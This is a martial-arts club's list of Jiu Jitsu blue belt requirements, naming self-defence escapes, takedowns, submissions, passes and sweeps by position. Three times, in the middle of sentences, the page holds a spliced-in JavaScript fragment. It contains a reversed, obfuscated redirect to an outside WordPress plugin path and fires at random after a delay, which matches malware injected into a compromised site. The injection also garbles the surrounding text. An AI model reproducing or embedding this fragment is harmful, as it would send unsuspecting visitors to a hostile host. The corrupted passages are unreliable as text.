Blue Belt Requirements Self Defence The primary goal of Jiu Jitsu is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to defend yourself.

Base – Standing up, standing up against aggressive attacker
Wrist Grab Escapes
Headlock Defences – Standing
Headlock Defences – Floor
Bear Hug Defences – Front over/under, Rear over/Under
Front Strangle
Rear Strangle
Rear Choke – Standing/Dragging
Defend Guillotine
Punch Defence Standing – Clinch 3 Takedowns
Push Defence
Shoulder Grab Defence – Armlock -bent and straight, throw.
Defend Punches from Guard – Standing over you / Kneeling in Guard
Defend punches from mount
Lapel grab
Kick Defences
Weapon Defences – stick and knife

Take Downs

Hip Throw
Double Leg
Single Leg
Outside Trip
Pull Guard – with attacks
Jump Guard

Ground Work – Correct Defensive and Offensive posture and positioning for all positions. Mount

Upa
Elbow Escape

Cross Choke
Americana
Armbar
Combinations

Back

Lapel Choke – Variations
Rear Naked Choke – Traditional and Gable Grip
Armbar

Back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Floor Escape

Guard

Armbar
Kimura
Triangle
Cross Choke
Guillotine

1x Pass on Knees – Eg. Mauricio pass, double under
1x Standing Pass
1x Open Guard Pass – Eg. De La Riva, Spider, Bull fighter
Straight Achilles Lock

Half Guard

ReGuard – Standard and went locked down
Take Back
Old Skool sweep and re roll

Defeating the lockdown
1 x Passes

Side Control

Americana
Kimura
Straight Armbar
Choke
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Progress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Knee on

Escape both arms over
Escape arm over/by hip

Knee On

Choke
Armbar
Kimura

Bridge with Knee push escape

Sweeps

Scissor Sweep
Sit Up Sweep
Pendulum Sweep
Double Ankle Sweep
Tripod Sweep
Arm Triangle Sweep

Turtle

Hooks in
Clock Choke

Re Guard

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